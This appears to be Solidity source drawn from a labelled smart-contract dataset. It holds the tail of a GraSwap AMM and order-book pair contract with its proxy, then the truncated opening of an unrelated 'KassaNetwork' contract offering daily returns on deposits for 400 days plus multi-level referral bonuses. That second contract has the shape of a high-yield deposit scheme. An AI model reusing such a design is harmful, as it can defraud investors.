uint moneyAmount = moneyBalance - uint(reserveMoney);
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
liquidity = Math.sqrt(stockAmount.mul(moneyAmount)).sub(_MINIMUM_LIQUIDITY);
_mint(address(0), _MINIMUM_LIQUIDITY);
} else {
liquidity = Math.min(stockAmount.mul(_totalSupply) / uint(reserveStock),
moneyAmount.mul(_totalSupply) / uint(reserveMoney));
}
require(liquidity > 0, "GraSwap: INSUFFICIENT_MINTED");
_mint(to, liquidity);
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Mint(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
function burn(address to) external override lock returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData)).sub(bookedStock);
uint moneyBalance = _myBalance(ProxyData.money(proxyData)).sub(bookedMoney);
require(stockBalance >= uint(reserveStock) && moneyBalance >= uint(reserveMoney), "GraSwap: INVALID_BALANCE");
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
{
uint _totalSupply = totalSupply;
uint liquidity = balanceOf[address(this)];
stockAmount = liquidity.mul(stockBalance) / _totalSupply;
moneyAmount = liquidity.mul(moneyBalance) / _totalSupply;
require(stockAmount > 0 && moneyAmount > 0, "GraSwap: INSUFFICIENT_BURNED");
balanceOf[address(this)] = 0;
totalSupply = totalSupply.sub(liquidity);
emit Transfer(address(this), address(0), liquidity);
}
address graContract = ProxyData.graContract(proxyData);
_safeTransfer(ProxyData.stock(proxyData), to, stockAmount, graContract);
_safeTransfer(ProxyData.money(proxyData), to, moneyAmount, graContract);
stockBalance = stockBalance - stockAmount;
moneyBalance = moneyBalance - moneyAmount;
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Burn(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
function skim(address to) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
address stockToken = ProxyData.stock(proxyData);
address moneyToken = ProxyData.money(proxyData);
(uint112 reserveStock, uint112 reserveMoney, ) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(stockToken);
uint balanceMoney = _myBalance(moneyToken);
require(balanceStock >= uint(bookedStock) + uint(reserveStock) &&
balanceMoney >= uint(bookedMoney) + uint(reserveMoney), "GraSwap: INVALID_BALANCE");
address graContract = ProxyData.graContract(proxyData);
_safeTransfer(stockToken, to, balanceStock-reserveStock-bookedStock, graContract);
_safeTransfer(moneyToken, to, balanceMoney-reserveMoney-bookedMoney, graContract);
}
function sync() external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(, , uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(ProxyData.stock(proxyData));
uint balanceMoney = _myBalance(ProxyData.money(proxyData));
require(balanceStock >= bookedStock && balanceMoney >= bookedMoney, "GraSwap: INVALID_BALANCE");
_setReserves(balanceStock-bookedStock, balanceMoney-bookedMoney, firstSellID);
}
}
contract GraSwapPair is GraSwapPool, IGraSwapPair {
uint[1<<22] private _sellOrders;
uint[1<<22] private _buyOrders;
uint32 private constant _MAX_ID = (1<<22)-1;
function _expandPrice(uint32 price32, uint[5] memory proxyData) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ProxyData.priceMul(proxyData);
price.denominator *= ProxyData.priceDiv(proxyData);
}
function _expandPrice(Context memory ctx, uint32 price32) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ctx.priceMul;
price.denominator *= ctx.priceDiv;
}
function symbol() external override returns (string memory) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
string memory s = "ETH";
address stock = ProxyData.stock(proxyData);
if(stock != address(0)) {
s = IERC20(stock).symbol();
}
string memory m = "ETH";
address money = ProxyData.money(proxyData);
if(money != address(0)) {
m = IERC20(money).symbol();
}
return string(abi.encodePacked(s, "/", m));
}
function _emitNewLimitOrder(
uint64 addressLow,
uint64 totalStockAmount,
uint64 remainedStockAmount,
uint32 price,
uint32 orderID,
bool isBuy ) private {
uint data = uint(addressLow);
data = (data<<64) | uint(totalStockAmount);
data = (data<<64) | uint(remainedStockAmount);
data = (data<<32) | uint(price);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit NewLimitOrder(data);
}
function _emitNewMarketOrder(
uint136 addressLow,
uint112 amount,
bool isBuy ) private {
uint data = uint(addressLow);
data = (data<<112) | uint(amount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit NewMarketOrder(data);
}
function _emitOrderChanged(
uint64 makerLastAmount,
uint64 makerDealAmount,
uint32 makerOrderID,
bool isBuy ) private {
uint data = uint(makerLastAmount);
data = (data<<64) | uint(makerDealAmount);
data = (data<<32) | uint(makerOrderID<<8);
if(isBuy) {
data = data | 1;
}
emit OrderChanged(data);
}
function _emitDealWithPool(
uint112 inAmount,
uint112 outAmount,
bool isBuy) private {
uint data = uint(inAmount);
data = (data<<112) | uint(outAmount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit DealWithPool(data);
}
function _emitRemoveOrder(
uint64 remainStockAmount,
uint32 orderID,
bool isBuy ) private {
uint data = uint(remainStockAmount);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit RemoveOrder(data);
}
function _order2uint(Order memory order) internal pure returns (uint) {
uint n = uint(order.sender);
n = (n<<32) | order.price;
n = (n<<42) | order.amount;
n = (n<<22) | order.nextID;
return n;
}
function _uint2order(uint n) internal pure returns (Order memory) {
Order memory order;
order.nextID = uint32(n & ((1<<22)-1));
n = n >> 22;
order.amount = uint64(n & ((1<<42)-1));
n = n >> 42;
order.price = uint32(n & ((1<<32)-1));
n = n >> 32;
order.sender = address(n);
return order;
}
function _hasOrder(bool isBuy, uint32 id) internal view returns (bool) {
if(isBuy) {
return _buyOrders[id] != 0;
} else {
return _sellOrders[id] != 0;
}
}
function _getOrder(bool isBuy, uint32 id) internal view returns (Order memory order, bool findIt) {
if(isBuy) {
order = _uint2order(_buyOrders[id]);
return (order, order.price != 0);
} else {
order = _uint2order(_sellOrders[id]);
return (order, order.price != 0);
}
}
function _setOrder(bool isBuy, uint32 id, Order memory order) internal {
if(isBuy) {
_buyOrders[id] = _order2uint(order);
} else {
_sellOrders[id] = _order2uint(order);
}
}
function _deleteOrder(bool isBuy, uint32 id) internal {
if(isBuy) {
delete _buyOrders[id];
} else {
delete _sellOrders[id];
}
}
function _getFirstOrderID(Context memory ctx, bool isBuy) internal pure returns (uint32) {
if(isBuy) {
return ctx.firstBuyID;
}
return ctx.firstSellID;
}
function _setFirstOrderID(Context memory ctx, bool isBuy, uint32 id) internal pure {
if(isBuy) {
ctx.firstBuyID = id;
} else {
ctx.firstSellID = id;
}
}
function removeOrders(uint[] calldata rmList) external override lock {
uint[5] memory proxyData;
uint expectedCallDataSize = 4+32*(ProxyData.COUNT+2+rmList.length);
ProxyData.fill(proxyData, expectedCallDataSize);
for(uint i = 0; i < rmList.length; i++) {
uint rmInfo = rmList[i];
bool isBuy = uint8(rmInfo) != 0;
uint32 id = uint32(rmInfo>>8);
uint72 prevKey = uint72(rmInfo>>40);
_removeOrder(isBuy, id, prevKey, proxyData);
}
}
function removeOrder(bool isBuy, uint32 id, uint72 prevKey) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
_removeOrder(isBuy, id, prevKey, proxyData);
}
function _removeOrder(bool isBuy, uint32 id, uint72 prevKey, uint[5] memory proxyData) private {
Context memory ctx;
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
if(!isBuy) {
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
}
Order memory order = _removeOrderFromBook(ctx, isBuy, id, prevKey);
require(msg.sender == order.sender, "GraSwap: NOT_OWNER");
uint64 stockUnit = ProxyData.stockUnit(proxyData);
uint stockAmount = uint(order.amount) * uint(stockUnit);
address graContract = ProxyData.graContract(proxyData);
if(isBuy) {
RatPrice memory price = _expandPrice(order.price, proxyData);
uint moneyAmount = stockAmount * price.numerator / price.denominator;
ctx.bookedMoney -= moneyAmount;
_safeTransfer(ProxyData.money(proxyData), order.sender, moneyAmount, graContract);
} else {
ctx.bookedStock -= stockAmount;
_safeTransfer(ProxyData.stock(proxyData), order.sender, stockAmount, graContract);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
}
function _removeOrderFromBook(Context memory ctx, bool isBuy,
uint32 id, uint72 prevKey) internal returns (Order memory) {
(Order memory order, bool ok) = _getOrder(isBuy, id);
require(ok, "GraSwap: NO_SUCH_ORDER");
if(prevKey == 0) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
require(id == firstID, "GraSwap: NOT_FIRST");
_setFirstOrderID(ctx, isBuy, order.nextID);
if(!isBuy) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
} else {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
require(findIt, "GraSwap: INVALID_POSITION");
while(prevOrder.nextID != id) {
currID = prevOrder.nextID;
require(currID != 0, "GraSwap: REACH_END");
(prevOrder, ) = _getOrder(isBuy, currID);
}
prevOrder.nextID = order.nextID;
_setOrder(isBuy, currID, prevOrder);
}
_emitRemoveOrder(order.amount, id, isBuy);
_deleteOrder(isBuy, id);
return order;
}
function _insertOrderAtHead(Context memory ctx, bool isBuy, Order memory order, uint32 id) private {
order.nextID = _getFirstOrderID(ctx, isBuy);
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
}
function _getOrder3Times(bool isBuy, uint72 prevKey) private view returns (
uint32 currID, Order memory prevOrder, bool findIt) {
currID = uint32(prevKey&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>24)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>48)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
}
}
}
function _insertOrderFromGivenPos(bool isBuy, Order memory order,
uint32 id, uint72 prevKey) private returns (bool inserted) {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
if(!findIt) {
return false;
}
return _insertOrder(isBuy, order, prevOrder, id, currID);
}
function _insertOrderFromHead(Context memory ctx, bool isBuy, Order memory order,
uint32 id) private returns (bool inserted) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
bool canBeFirst = (firstID == 0);
Order memory firstOrder;
if(!canBeFirst) {
(firstOrder, ) = _getOrder(isBuy, firstID);
canBeFirst = (isBuy && (firstOrder.price < order.price)) ||
(!isBuy && (firstOrder.price > order.price));
}
if(canBeFirst) {
order.nextID = firstID;
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
return true;
}
return _insertOrder(isBuy, order, firstOrder, id, firstID);
}
function _insertOrder(bool isBuy, Order memory order, Order memory prevOrder,
uint32 id, uint32 currID) private returns (bool inserted) {
while(currID != 0) {
bool canFollow = (isBuy && (order.price <= prevOrder.price)) ||
(!isBuy && (order.price >= prevOrder.price));
if(!canFollow) {break;}
Order memory nextOrder;
if(prevOrder.nextID != 0) {
(nextOrder, ) = _getOrder(isBuy, prevOrder.nextID);
bool canPrecede = (isBuy && (nextOrder.price < order.price)) ||
(!isBuy && (nextOrder.price > order.price));
canFollow = canFollow && canPrecede;
}
if(canFollow) {
order.nextID = prevOrder.nextID;
_setOrder(isBuy, id, order);
prevOrder.nextID = id;
_setOrder(isBuy, currID, prevOrder);
return true;
}
currID = prevOrder.nextID;
prevOrder = nextOrder;
}
return false;
}
function getPrices() external override returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
poolPriceNumerator = uint(reserveMoney);
poolPriceDenominator = uint(reserveStock);
firstSellPriceNumerator = 0;
firstSellPriceDenominator = 0;
firstBuyPriceNumerator = 0;
firstBuyPriceDenominator = 0;
if(firstSellID!=0) {
uint order = _sellOrders[firstSellID];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstSellPriceNumerator = price.numerator;
firstSellPriceDenominator = price.denominator;
}
uint32 id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
if(id!=0) {
uint order = _buyOrders[id];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstBuyPriceNumerator = price.numerator;
firstBuyPriceDenominator = price.denominator;
}
}
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external override view returns (uint[] memory) {
if(id == 0) {
if(isBuy) {
id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
} else {
id = uint32(_reserveStockAndMoneyAndFirstSellID>>224);
}
}
uint[1<<22] storage orderbook;
if(isBuy) {
orderbook = _buyOrders;
} else {
orderbook = _sellOrders;
}
uint order = (block.number<<24) | id;
uint addrOrig;
uint addrLen;
uint addrStart;
uint addrEnd;
uint count = 0;
assembly {
addrOrig := mload(0x40)
mstore(addrOrig, 32)
}
addrLen = addrOrig + 32;
addrStart = addrLen + 32;
addrEnd = addrStart;
while(count < maxCount) {
assembly {
mstore(addrEnd, order)
}
addrEnd += 32;
count++;
if(id == 0) {break;}
order = orderbook[id];
require(order!=0, "GraSwap: INCONSISTENT_BOOK");
id = uint32(order&_MAX_ID);
}
assembly {
mstore(addrLen, count)
let byteCount := sub(addrEnd, addrOrig)
return(addrOrig, byteCount)
}
}
function _getUnusedOrderID(bool isBuy, uint32 id) internal view returns (uint32) {
if(id == 0) {
id = uint32(uint(blockhash(block.number-1))^uint(tx.origin)) & _MAX_ID;
}
for(uint32 i = 0; i < 100 && id <= _MAX_ID; i++) {
if(!_hasOrder(isBuy, id)) {
return id;
}
id++;
}
require(false, "GraSwap: CANNOT_FIND_VALID_ID");
return 0;
}
function calcStockAndMoney(uint64 amount, uint32 price32) external pure override returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+2));
(stockAmount, moneyAmount, ) = _calcStockAndMoney(amount, price32, proxyData);
}
function _calcStockAndMoney(uint64 amount, uint32 price32, uint[5] memory proxyData) private pure returns (uint stockAmount, uint moneyAmount, RatPrice memory price) {
price = _expandPrice(price32, proxyData);
uint64 stockUnit = ProxyData.stockUnit(proxyData);
stockAmount = uint(amount) * uint(stockUnit);
moneyAmount = stockAmount * price.numerator /price.denominator;
}
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32,
uint32 id, uint72 prevKey) external payable override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+6));
require(ProxyData.isOnlySwap(proxyData)==false, "GraSwap: LIMIT_ORDER_NOT_SUPPORTED");
Context memory ctx;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.graContract = ProxyData.graContract(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
ctx.moneyToken = ProxyData.money(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = true;
ctx.order.sender = sender;
ctx.order.amount = amount;
ctx.order.price = price32;
ctx.newOrderID = _getUnusedOrderID(isBuy, id);
RatPrice memory price;
{
require((amount >> 42) == 0, "GraSwap: INVALID_AMOUNT");
uint32 m = price32 & DecFloat32.MANTISSA_MASK;
require(DecFloat32.MIN_MANTISSA <= m && m <= DecFloat32.MAX_MANTISSA, "GraSwap: INVALID_PRICE");
uint stockAmount;
uint moneyAmount;
(stockAmount, moneyAmount, price) = _calcStockAndMoney(amount, price32, proxyData);
if(isBuy) {
ctx.remainAmount = moneyAmount;
} else {
ctx.remainAmount = stockAmount;
}
}
require(ctx.remainAmount < uint(1<<112), "GraSwap: OVERFLOW");
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
if(prevKey != 0) {
bool inserted = _insertOrderFromGivenPos(isBuy, ctx.order, ctx.newOrderID, prevKey);
if(inserted) {
_emitNewLimitOrder(uint64(ctx.order.sender), amount, amount, price32, ctx.newOrderID, isBuy);
if(isBuy) {
ctx.bookedMoney += ctx.remainAmount;
} else {
ctx.bookedStock += ctx.remainAmount;
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
if(ctx.reserveChanged) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
return;
}
}
_addOrder(ctx, isBuy, price);
}
function addMarketOrder(address inputToken, address sender,
uint112 inAmount) external payable override lock returns (uint) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
Context memory ctx;
ctx.moneyToken = ProxyData.money(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
require(inputToken == ctx.moneyToken || inputToken == ctx.stockToken, "GraSwap: INVALID_TOKEN");
bool isBuy = inputToken == ctx.moneyToken;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.graContract = ProxyData.graContract(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = false;
ctx.remainAmount = inAmount;
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
ctx.order.sender = sender;
if(isBuy) {
ctx.order.price = DecFloat32.MAX_PRICE;
} else {
ctx.order.price = DecFloat32.MIN_PRICE;
}
RatPrice memory price;
_emitNewMarketOrder(uint136(ctx.order.sender), inAmount, isBuy);
return _addOrder(ctx, isBuy, price);
}
function _checkRemainAmount(Context memory ctx, bool isBuy) private view {
ctx.reserveChanged = false;
uint diff;
if(isBuy) {
uint balance = _myBalance(ctx.moneyToken);
require(balance >= ctx.bookedMoney + ctx.reserveMoney, "GraSwap: MONEY_MISMATCH");
diff = balance - ctx.bookedMoney - ctx.reserveMoney;
if(ctx.remainAmount < diff) {
ctx.reserveMoney += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
} else {
uint balance = _myBalance(ctx.stockToken);
require(balance >= ctx.bookedStock + ctx.reserveStock, "GraSwap: STOCK_MISMATCH");
diff = balance - ctx.bookedStock - ctx.reserveStock;
if(ctx.remainAmount < diff) {
ctx.reserveStock += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
}
require(ctx.remainAmount <= diff, "GraSwap: DEPOSIT_NOT_ENOUGH");
}
function _addOrder(Context memory ctx, bool isBuy, RatPrice memory price) private returns (uint) {
(ctx.dealMoneyInBook, ctx.dealStockInBook) = (0, 0);
ctx.firstID = _getFirstOrderID(ctx, !isBuy);
uint32 currID = ctx.firstID;
ctx.amountIntoPool = 0;
while(currID != 0) {
(Order memory orderInBook, ) = _getOrder(!isBuy, currID);
bool canDealInOrderBook = (isBuy && (orderInBook.price <= ctx.order.price)) ||
(!isBuy && (orderInBook.price >= ctx.order.price));
if(!canDealInOrderBook) {break;}
RatPrice memory priceInBook = _expandPrice(ctx, orderInBook.price);
bool allDeal = _tryDealInPool(ctx, isBuy, priceInBook);
if(allDeal) {break;}
_dealInOrderBook(ctx, isBuy, currID, orderInBook, priceInBook);
if(orderInBook.amount != 0) {
_setOrder(!isBuy, currID, orderInBook);
break;
}
_deleteOrder(!isBuy, currID);
currID = orderInBook.nextID;
}
if(ctx.isLimitOrder) {
_tryDealInPool(ctx, isBuy, price);
_insertOrderToBook(ctx, isBuy, price);
} else {
ctx.amountIntoPool += ctx.remainAmount;
ctx.remainAmount = 0;
}
uint amountToTaker = _dealWithPoolAndCollectFee(ctx, isBuy);
if(isBuy) {
ctx.bookedStock -= ctx.dealStockInBook;
} else {
ctx.bookedMoney -= ctx.dealMoneyInBook;
}
if(ctx.firstID != currID) {
_setFirstOrderID(ctx, !isBuy, currID);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
return amountToTaker;
}
function _intopoolAmountTillPrice(bool isBuy, uint reserveMoney, uint reserveStock,
RatPrice memory price) private pure returns (uint result) {
uint numerator = reserveMoney * price.denominator;
uint denominator = reserveStock * price.numerator;
if(isBuy) {
(numerator, denominator) = (denominator, numerator);
}
while(numerator >= (1<<192)) {
numerator >>= 16;
denominator >>= 16;
}
require(denominator != 0, "GraSwapPair: DIV_BY_ZERO");
numerator = numerator * (1<<64);
uint quotient = numerator / denominator;
if(quotient <= (1<<64)) {
return 0;
} else if(quotient <= ((1<<64)*5/4)) {
uint x = quotient - (1<<64);
uint y = x*x;
y = x/2 - y/(8*(1<<64)) + y*x/(16*(1<<128));
if(isBuy) {
result = reserveMoney * y;
} else {
result = reserveStock * y;
}
result /= (1<<64);
return result;
}
uint root = Math.sqrt(quotient);
uint diff = root - (1<<32);
if(isBuy) {
result = reserveMoney * diff;
} else {
result = reserveStock * diff;
}
result /= (1<<32);
return result;
}
function _tryDealInPool(Context memory ctx, bool isBuy, RatPrice memory price) private pure returns (bool) {
uint currTokenCanTrade = _intopoolAmountTillPrice(isBuy, ctx.reserveMoney, ctx.reserveStock, price);
require(currTokenCanTrade < uint(1<<112), "GraSwap: CURR_TOKEN_TOO_LARGE");
if(!isBuy) {
currTokenCanTrade /= ctx.stockUnit;
currTokenCanTrade *= ctx.stockUnit;
}
if(currTokenCanTrade > ctx.amountIntoPool) {
uint diffTokenCanTrade = currTokenCanTrade - ctx.amountIntoPool;
bool allDeal = diffTokenCanTrade >= ctx.remainAmount;
if(allDeal) {
diffTokenCanTrade = ctx.remainAmount;
}
ctx.amountIntoPool += diffTokenCanTrade;
ctx.remainAmount -= diffTokenCanTrade;
return allDeal;
}
return false;
}
function _dealInOrderBook(Context memory ctx, bool isBuy, uint32 currID,
Order memory orderInBook, RatPrice memory priceInBook) internal {
ctx.hasDealtInOrderBook = true;
uint stockAmount;
if(isBuy) {
uint a = ctx.remainAmount * priceInBook.denominator;
uint b = priceInBook.numerator * ctx.stockUnit;
stockAmount = a/b;
} else {
stockAmount = ctx.remainAmount/ctx.stockUnit;
}
if(uint(orderInBook.amount) < stockAmount) {
stockAmount = uint(orderInBook.amount);
}
require(stockAmount < (1<<42), "GraSwap: STOCK_TOO_LARGE");
uint stockTrans = stockAmount * ctx.stockUnit;
uint moneyTrans = stockTrans * priceInBook.numerator / priceInBook.denominator;
_emitOrderChanged(orderInBook.amount, uint64(stockAmount), currID, isBuy);
orderInBook.amount -= uint64(stockAmount);
if(isBuy) {
ctx.remainAmount -= moneyTrans;
} else {
ctx.remainAmount -= stockTrans;
}
ctx.dealStockInBook += stockTrans;
ctx.dealMoneyInBook += moneyTrans;
if(isBuy) {
_safeTransfer(ctx.moneyToken, orderInBook.sender, moneyTrans, ctx.graContract);
} else {
_safeTransfer(ctx.stockToken, orderInBook.sender, stockTrans, ctx.graContract);
}
}
function _dealWithPoolAndCollectFee(Context memory ctx, bool isBuy) internal returns (uint) {
(uint outpoolTokenReserve, uint inpoolTokenReserve, uint otherToTaker) = (
ctx.reserveMoney, ctx.reserveStock, ctx.dealMoneyInBook);
if(isBuy) {
(outpoolTokenReserve, inpoolTokenReserve, otherToTaker) = (
ctx.reserveStock, ctx.reserveMoney, ctx.dealStockInBook);
}
uint outAmount = (outpoolTokenReserve*ctx.amountIntoPool)/(inpoolTokenReserve+ctx.amountIntoPool);
if(ctx.amountIntoPool > 0) {
_emitDealWithPool(uint112(ctx.amountIntoPool), uint112(outAmount), isBuy);
}
uint32 feeBPS = IGraSwapFactory(ctx.factory).feeBPS();
uint amountToTaker = outAmount + otherToTaker;
require(amountToTaker < uint(1<<112), "GraSwap: AMOUNT_TOO_LARGE");
uint fee = (amountToTaker * feeBPS + 9999) / 10000;
amountToTaker -= fee;
if(isBuy) {
ctx.reserveMoney = ctx.reserveMoney + ctx.amountIntoPool;
ctx.reserveStock = ctx.reserveStock - outAmount + fee;
} else {
ctx.reserveMoney = ctx.reserveMoney - outAmount + fee;
ctx.reserveStock = ctx.reserveStock + ctx.amountIntoPool;
}
address token = ctx.moneyToken;
if(isBuy) {
token = ctx.stockToken;
}
_safeTransfer(token, ctx.order.sender, amountToTaker, ctx.graContract);
return amountToTaker;
}
function _insertOrderToBook(Context memory ctx, bool isBuy, RatPrice memory price) internal {
(uint smallAmount, uint moneyAmount, uint stockAmount) = (0, 0, 0);
if(isBuy) {
uint tempAmount1 = ctx.remainAmount * price.denominator ;
uint temp = ctx.stockUnit * price.numerator;
stockAmount = tempAmount1 / temp;
uint tempAmount2 = stockAmount * temp;
moneyAmount = (tempAmount2+price.denominator-1)/price.denominator;
if(ctx.remainAmount > moneyAmount) {
smallAmount = ctx.remainAmount - moneyAmount;
} else {
moneyAmount = ctx.remainAmount;
}
} else {
stockAmount = ctx.remainAmount / ctx.stockUnit;
smallAmount = ctx.remainAmount - stockAmount * ctx.stockUnit;
}
ctx.amountIntoPool += smallAmount;
_emitNewLimitOrder(uint64(ctx.order.sender), ctx.order.amount, uint64(stockAmount),
ctx.order.price, ctx.newOrderID, isBuy);
if(stockAmount != 0) {
ctx.order.amount = uint64(stockAmount);
if(ctx.hasDealtInOrderBook) {
_insertOrderAtHead(ctx, isBuy, ctx.order, ctx.newOrderID);
} else {
_insertOrderFromHead(ctx, isBuy, ctx.order, ctx.newOrderID);
}
}
if(isBuy) {
ctx.bookedMoney += moneyAmount;
} else {
ctx.bookedStock += (ctx.remainAmount - smallAmount);
}
}
}
contract GraSwapPairProxy {
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked;
uint internal immutable _immuFactory;
uint internal immutable _immuMoneyToken;
uint internal immutable _immuStockToken;
uint internal immutable _immuGras;
uint internal immutable _immuOther;
constructor(address stockToken, address moneyToken, bool isOnlySwap, uint64 stockUnit, uint64 priceMul, uint64 priceDiv, address graContract) public {
_immuFactory = uint(msg.sender);
_immuMoneyToken = uint(moneyToken);
_immuStockToken = uint(stockToken);
_immuGras = uint(graContract);
uint temp = 0;
if(isOnlySwap) {
temp = 1;
}
temp = (temp<<64) | stockUnit;
temp = (temp<<64) | priceMul;
temp = (temp<<64) | priceDiv;
_immuOther = temp;
_unlocked = 1;
}
receive() external payable { }
fallback() payable external {
uint factory = _immuFactory;
uint moneyToken = _immuMoneyToken;
uint stockToken = _immuStockToken;
uint graContract = _immuGras;
uint other = _immuOther;
address impl = IGraSwapFactory(address(_immuFactory)).pairLogic();
assembly {
let ptr := mload(0x40)
let size := calldatasize()
calldatacopy(ptr, 0, size)
let end := add(ptr, size)
mstore(end, factory)
end := add(end, 32)
mstore(end, moneyToken)
end := add(end, 32)
mstore(end, stockToken)
end := add(end, 32)
mstore(end, graContract)
end := add(end, 32)
mstore(end, other)
size := add(size, 160)
let result := delegatecall(gas(), impl, ptr, size, 0, 0)
size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
} | 0 | 1,203 |
pragma solidity ^0.4.25;
contract Ownable
{
address public laxmi;
address public newLaxmi;
constructor() public
{
laxmi = msg.sender;
}
modifier onlyLaxmi()
{
require(msg.sender == laxmi, "Can used only by owner");
_;
}
function changeLaxmi(address _laxmi) onlyLaxmi public
{
require(_laxmi != 0, "Please provide new owner address");
newLaxmi = _laxmi;
}
function confirmLaxmi() public
{
require(newLaxmi == msg.sender, "Please call from new owner");
laxmi = newLaxmi;
delete newLaxmi;
}
}
library SafeMath
{
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
if (_a == 0) { return 0; }
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256)
{
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256)
{
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract KassaNetwork is Ownable
{
using SafeMath for uint;
string public constant name = 'Kassa 400/100';
uint public startTimestamp = now;
uint public constant procKoef = 10000;
uint public constant perDay = 50;
uint public constant ownerFee = 500;
uint[5] public bonusReferrer = [500, 100, 100, 100, 200];
uint public constant procReturn = 9000;
uint public constant maxDepositDays = 400;
uint public constant minimalDeposit = 1 ether;
uint public constant maximalDepositStart = 50 ether;
uint public constant maximalDepositFinish = 100 ether;
